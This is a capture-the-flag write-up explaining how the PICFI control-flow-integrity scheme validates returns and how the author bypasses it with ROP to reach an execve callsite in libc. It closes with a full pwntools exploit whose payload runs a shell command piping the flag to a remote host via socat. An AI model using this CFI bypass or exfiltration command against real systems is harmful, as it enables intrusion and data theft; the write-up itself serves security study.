Introduction
Solves: 5 Points:420
Last week, I introduce PICFI and its implementation (Per-Input Control Flow Integrity), in this post I will give a detailed write-up about my solution on this challenge. Angelboy has posted his write-up on Github [1], so my post will discuss more about the details in PICFI, and how I write the final exploit.
Per-Input Control Flow Integrity
As described in the paper of PICFI, the function call under CFI will be replaced with a patch function at loading time. The patch function will dynamically activate the backward edge (return) and forward edge (function pointer) in static CFG at runtime.
At binary level:
After loading into memory:
After the function is executed:
After the backward edge or forward edge is activated in the CFG, PICFI will insert check before return or indirect call. I take read function as an example
After returning from __syscall_cp, the execution flow will go into __syscall_ret for returning to the callsite. At 0x245d6, the return address is pop up from the stack and compared with the intended value at 0x245e6. If the target address is a valid one, the execution flow continues. Otherwise, the control flow will be diverted to __report_cfi_violation_for_return
How to exploit
In this challenge, we are given the ability to write anything anywhere. So the basic idea is to construct ROP for exploitation. Because of the existence of PICFI, we are facing with two questions to solve:
Q1: Where can we hijack control flow to?
Q2: How do we call execve/system.
Control Flow Hijacking
Though the existence of PICFI, it does not mean we cannot hijack control flow. In PICFI, a backward edge is valid is the following two conditions are satisfied:
C1: The preceding instruction of the target address is a function call (CALL funA) targeting the current function.
C2: The function call (CALL funA) has been executed at least once.
To make it clear, the control flow as shown below is allowed in PICFI. (The line represents the control flow. Forgive my bad drawing)
Call execve/system
Initially, I want to divert the control flow to system in main function. However, I find that such control flow is impossible under the constraint of PICFI. So I decide to find other target. Recall that the system function will internally call execve. With some debugging I find the callsite below:
Function 0xff59acc0 is exactly execve in libc. Moreover, values of all critical registers are retrieved from stack. So that’s it.
Exploitation Plan
So the whole exploitation is divided into two steps. In the first step, we have to somehow hijack the control flow to somewhere before 0xff59b8ee via ROP. In my exploit, I pick __syscall_cp and close to jump to 0xff598418. In the second step, set the value in stack according the relative offset.
At first, I want to directly run execve(“/bin/sh”, NULL, NULL) at the indirect callsite. But I find that I cannot get the shell. I doubt that may be relative to the spawn mechanism in Linux. So I decide to pick an alternative method to cat the message to a remote server. In future, I may try to figure out a more stable and simple way to get the flag.
from pwn import * DEBUG = int(sys.argv[1]); if(DEBUG == 0): r = remote("1.2.3.4", 2333); elif(DEBUG == 1): r = process("./cfi"); elif(DEBUG == 2): r = process("./cfi"); gdb.attach(r, '''source ./script'''); def halt(): while(True): log.info(r.recvline()); def aa(ra): return 0xff544000 + ra; # the base address of stack differs. In my test, I set a breakpoint at # syscall_cp in read to get the base address in stack # in real exploit I think I need to use cyclic string to overwrite the whole stack # decide the base address of stack from feedback given by server. stackAddr = 0xfffff1c8; r.recvuntil("addr?"); r.sendline(hex(stackAddr)[2:]); r.recvuntil("len?"); r.sendline("300"); payload = p64(aa(0x882e8)); payload += p64(0xbabecafe)*0x1 + p64(aa(0x57418)); fakeR14 = stackAddr+0x8; fakeRDI = stackAddr + 0xc0;#0xfffff1c8; #stackAddr+; fakeRSI = stackAddr + 0xc8; #stackAddr + 0xc8; #0xfffff1d0; #0x500; fakeRDX = 0; #0xfffff2a8; #0x0; payload += p64(fakeR14) + p64(0) * 14 + p64(fakeRDI) + p64(0xff59acc0); payload += p64(0) * 2 + p64(fakeRSI) + p64(fakeRDX) + "/bin/sh"+"\x00"*1 + p64(fakeRDI) + p64(stackAddr+0x100) + p64(stackAddr+0x103) + p64(0)*4 + "-c\x00cat flag | socat - TCP4:10.0.2.15:31337\x00"; r.recvuntil("data?"); r.send(payload);
And the final result is shown as below
Conclusion
CFI is a popular security research. In this challenge, we are required to bypass PICFI with ROP. I think this is a good lesson for academic researchers. Great thanks to this challenge.
I think this challenge is very helpful for improving debugging skills. Since the binary code is self-modifying, we need to use hbreak to set breakpoint for debugging. Also properly setting follow-fork-mode will also help me debug.
Reference
[1] https://github.com/scwuaptx/CTF/blob/master/2017-writeup/gctf/cfi.py